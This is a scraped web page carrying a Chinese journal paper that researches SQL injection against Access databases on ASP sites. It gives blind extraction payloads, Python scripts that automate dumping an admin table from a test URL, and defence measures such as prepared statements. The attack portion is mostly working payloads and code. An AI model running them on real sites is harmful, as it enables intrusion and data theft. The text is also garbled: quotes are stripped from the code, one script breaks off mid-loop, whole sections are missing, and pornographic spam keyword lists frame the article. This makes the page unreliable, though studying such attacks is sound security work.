999精品在线视频,手机成人午夜在线视频,久久不卡国产精品无码,中日无码在线观看,成人av手机在线观看,日韩精品亚洲一区中文字幕,亚洲av无码人妻,四虎国产在线观看 ?

基于Access數據庫的SQL注入攻擊研究

2018-09-10 18:13:11王冬雪韓灝李鴻鵠
計算機與網絡 2018年19期
關鍵詞:網絡安全

王冬雪 韓灝 李鴻鵠

摘要:基于Windows+Access+ASP服務器的網絡架構,因成本低廉和易于操作被廣泛使用,這種架構極易因存在的安全漏洞和相關安全措施不嚴而受到各方面的攻擊與入侵,最常見的攻擊方式就是SQL注入。通過SQL注入攻擊獲取數據庫數據,利用其數據可進行網站滲透。在此基礎上,采用逐字猜解法注入,利用python腳本編寫獲取數據庫信息并進行腳本優化,從而研究Access數據庫SQL注入方式,給出SQL注入攻擊的防范方法。

關鍵詞:網絡安全;Access數據庫;SQL注入;攻防

中圖分類號:TP391.4文獻標志碼:A文章編號:1008-1739(2018)19-68-4

Research on SQL Injection Attack Based on Access Database

WANG Dongxue, HAN Hao, LI Honghu(College of Computer Science and Technology, Harbin University of Science and Technology, Harbin Heilongjiang 150000, China)

0引言

隨著互聯網時代的發展,人們在享受互聯網帶來便捷的同時,安全問題也日趨嚴峻。Windows+Access+ASP是常見的網絡架構類型之一,常用于構建動態網站。部分網站由于開發者安全意識較差,常受到不同種類的Web攻擊,SQL[1]注入是其中一種較為嚴重的攻擊方式。攻擊者利用開發人員對傳入參數與SQL語句的不正確拼合,將惡意的SQL語句注入到后臺數據庫來實現其操作,通過該攻擊可獲取用戶敏感數據信息,在服務器權限設置不當的情況下,可導致任意文件的上傳及下載,進而獲取網站Webshell,最終導致服務器淪陷。本文通過搭建基于Access數據庫的Web測試環境,編寫SQL注入python腳本,實現了對數據庫數據內容的獲取,并由此總結了Access數據庫SQL注入防范方法。

1前期準備

1.1環境搭建

本地測試環境采用Window2003+超級小旋風AspWebServer進行環境搭建,AspWebServer參數配置如下:

[localhost:sql]

hostLanguage=VBScript

hostUrl=192.168.208.139

listenPort=8003

rootPath=\wwwroot\sql

defaultFiles=index.asp,default.asp,index.html,default.html

第1行為配置名稱,第2行為使用的腳本語言,第3行為本機的IP地址,第4行為監聽的本地端口,第5行為網站的根路徑,第6行為默認的網站頁面。測試頁面顯示如圖1所示。

頁面顯示了報錯信息,由MicrosoftAccess Driver可知,數據庫類型為Access數據庫,查詢表達式為id=1513,多出一個單引號,該單引號與前一個單引號閉合,多出的找不到與之成對的單引號,導致數據庫報錯,接下來進行注入類型的判斷。

構造and 1=1和and 1=2分別作為id參數值傳入,如果頁面發生改變,則證明存在SQL注入,經測試頁面發生變化,語句并未使用單引號進行閉合,所以注入類型為int型注入。

1.3 SQL注入原理

Access只存在1個數據庫,所以與常規的SQL注入方式不同,可通過以下2種方式進行查詢,第1種為聯合查詢法,第2種為逐字猜解法。Access數據庫不存在系統表和系統庫,對于數據庫中的內容,只能通過暴力猜解的方式進行。

暴力猜解的方式如下:

①進行表的判斷:通過在閉合后的語句中加入and exists(select * from表名),表名部分可通過本地字典讀取,如果頁面返回無變化,則證明該表存在于數據庫中。

②進行表中字段的判斷:通過構造and exists (select列名from表名),表名為上述語句查詢的結果,列名需要通過字典文件暴力猜解的值。通過測試頁面的返回結果,如果頁面無變化,則證明該字段存在于該表中。

③進行數據部分的判斷:第一步判斷數據部分的長度,通過構造and (select top 1 len(列名)from表名)=長度,列名和表名可通過上述過程得出,使用循環語句,直到頁面返回正常,此時的長度為數據內容長度。第二步通過構造and (select top 1 asc(mid(列名,位數,1)) from表名)=ascll碼,頁面返回正常時,該ascll值為該數據對應位數的值。

2 Access逐字猜解法注入

2.1查詢數據信息

查詢數據信息的過程如下:

def queryDump(table,column,url,length=60):

len = 0

old = requests.get(url)

old.encoding = gb2312

#確認長度

for i in range(length):

payload = and(select top 1 len (%s) from %s) = %d %(column,table,i)

payload = url + payload

print(payload)

new=requests.get(payload)

new.encoding = gb2312

if new.text == old.text:

len = i

print(len)

break

#判定每位的內容

dump =

for j in range(len):

for k in range(33,127):## ascll可見字符范圍

payload = and (select top 1 asc(mid(%s,%d,1)) from %s)=%d% (column,j+1,table,k)

payload = url + payload

new =requests.get(payload)

new.encoding = gb2312

if new.text == old.text:

dump+=chr(k)

print(dump)

break

queryDump(admin,admin,http://192.168.199.73: 8003/Production/PRODUCT_DETAIL.asp?id=1513,40)

腳本首先進行了一次正常請求,并將請求結果保存在old變量中,然后構造查詢判斷字段長度,通過構造and (select top 1 len(column) from table)=length循環遍歷,直到前后返回結果相同,此時得到字段數據部分長度,在知道字段長度的基礎上,構造and(select top 1 asc(mid(字段,數據位置,1))from表名)=ascll碼,確定該字段數據內容的每一位所對應的ascll碼,并輸出其相應的字符,運行結果如圖3所示。

2.2逐字猜解法腳本優化

逐字猜解法腳本優化的過程如下:

def queryDumpx(table,column,url,length=60):

len=0

old= requests.get(url)

old.encoding = gb2312

#確認長度

start =0

end = length

while(startm = (start+end)//2

if(end - start == 1):

break

payload = and(select top 1 len (%s) from %s) < %d %(column, table, m)

payload = url + payload

print(payload)

new=requests.get(payload)

new.encoding = gb2312

if new.text == old.text:

end = m

else:

start = m

len = m

print(len)

#判定每位的內容

dump =

for j in range(len):

# for k in range(33,127):## ascll可見字符范圍

s=33

t=127

while(s

3.2采用預編譯語句集

防御SQL注入的最佳方式就是使用預編譯語句,預編譯后的SQL語句的語義不會發生改變。初始運行程序和操作數據庫時,會對SQL語句進行分析、優化與編譯,需執行的計劃被緩存下來并允許數據庫以參數化的形式進行查詢[3]。由此將輸入的數據庫語句中使用到的參數進行設置,若輸入了錯誤的或不同類型的參數值,在編寫到數據庫語句中導致編譯不通過,這樣也就有效地防止了SQL注入。

3.3對用戶輸入進行限定

用戶輸入的內容不直接拼合到SQL語句中,可以利用存儲過程中[4]對用戶的輸入進行驗證與過濾,存儲過程的語句可在創建時就被編譯,但只會運行創建時所定義的查詢語句的語法,用戶輸入并不參與語法構造,故無法達到執行SQL語句,還可通過對用戶輸入中存在的內容進行過濾。但這種方式并不能很好地防范SQL注入攻擊,攻擊者總是能找到新的攻擊字符串,繞過各種過濾檢查,而且這種防御機制亦取決于開發者編寫驗證代碼與確定其使用系統環境的能力[5]。

3.4對敏感信息加密

盡管關于SQL注入的防范技術不斷發展,仍無法完全規避攻擊者進行的滲透與攻擊。作為網站管理人員,應對用戶敏感信息進行高強度加密處理,常規密碼算法有DES及其變形Triple DES、GDES、New DES等[6]。即便加密后的內容被獲取,攻擊者也無法破解對應的數據信息。

4結束語

通過對Access數據庫SQL注入方法之一的逐字猜解法進行了具體研究,采用python語言實現了對數據庫信息的自動化獲取,可調用上述腳本獲取指定數據內容。該測試證明了SQL注入的危害性,并針對于Access數據庫SQL注入攻擊,總結出幾種安全預防手段,運用這些手段能夠有效增強ASP+Access+IIS網絡架構的安全性。

參考文獻

[1]練坤梅,許靜,田偉,等.SQL注入漏洞多等級檢測方法研究[J].計算機科學與探索,2011,5(5):474-480.

[2]顧宏山.ACCESS數據庫的安全系統[J].滄州師范專科學校學報,2008(2):110-111.

[3]黃明輝.基于SQL Server的SQL注入攻擊防范方法[J].計算機安全,2008(8):122-124.

[4]王綿金,田華,張晉桂.SQL注入攻擊原理和防范方法[J].信息與電腦:理論版,2016(5):182-183.

[5]馬小婷,胡國平,李舟軍.SQL注入漏洞檢測與防御技術研究[J].計算機安全,2010(11):18-24.

[6]徐康庭.網絡安全與網絡信息加密技術分析[J].數字通信世界,2018(2):102.

猜你喜歡
網絡安全
網絡安全(上)
網絡安全知多少?
工會博覽(2023年27期)2023-10-24 11:51:28
新量子通信線路保障網絡安全
網絡安全
網絡安全人才培養應“實戰化”
上網時如何注意網絡安全?
網絡安全與執法專業人才培養探索與思考
設立網絡安全專項基金 促進人才培養
網絡安全監測數據分析——2015年11月
互聯網天地(2016年1期)2016-05-04 04:03:20
打造信息網絡安全的銅墻鐵壁
主站蜘蛛池模板: 精品无码一区二区三区在线视频| 97在线免费视频| 久久免费成人| 国产精品页| 国产性精品| 久久久精品久久久久三级| 欧美精品导航| 亚洲一区二区黄色| 国产一区二区福利| 婷婷开心中文字幕| 精品自拍视频在线观看| 久久不卡国产精品无码| 色香蕉影院| 日韩av电影一区二区三区四区| 欧美成一级| 成人毛片免费在线观看| 欧美午夜精品| 国内精品久久九九国产精品| 97超爽成人免费视频在线播放| 国产精品一区二区国产主播| 天堂网亚洲系列亚洲系列| 中文字幕有乳无码| 美女被狂躁www在线观看| 中文字幕 日韩 欧美| 91无码网站| 精品国产网站| 91在线国内在线播放老师| 女人爽到高潮免费视频大全| 日韩美女福利视频| 国产女人18毛片水真多1| 欧美亚洲一区二区三区在线| 国产精品偷伦在线观看| 五月激情婷婷综合| 免费看av在线网站网址| 亚洲成人福利网站| 丰满人妻中出白浆| 草草线在成年免费视频2| 一本一本大道香蕉久在线播放| 国产白浆视频| 久久这里只有精品23| 四虎成人精品| 爱做久久久久久| 国产幂在线无码精品| 亚洲第一区在线| 亚洲成人一区二区| 国产免费网址| 欧美有码在线观看| 伊人成色综合网| 幺女国产一级毛片| 国产手机在线ΑⅤ片无码观看| 国产精品部在线观看| 精品成人一区二区三区电影 | 国产不卡国语在线| 久久不卡精品| 欧美三級片黃色三級片黃色1| 亚洲欧美精品日韩欧美| 又粗又大又爽又紧免费视频| 97se亚洲| 国产精品久久久久久影院| 中国精品自拍| 特级精品毛片免费观看| 国产亚洲欧美日韩在线观看一区二区| 欧美日韩国产综合视频在线观看| h网站在线播放| 免费视频在线2021入口| 2021国产精品自拍| 第一页亚洲| 国产美女一级毛片| 亚洲,国产,日韩,综合一区 | 日本免费精品| 老司机精品久久| 鲁鲁鲁爽爽爽在线视频观看| 国产精品主播| 成人国产小视频| 噜噜噜久久| 日韩乱码免费一区二区三区| 四虎永久免费地址在线网站| 毛片基地视频| 日韩精品欧美国产在线| 欧美在线三级| 欧美午夜在线播放| 国语少妇高潮|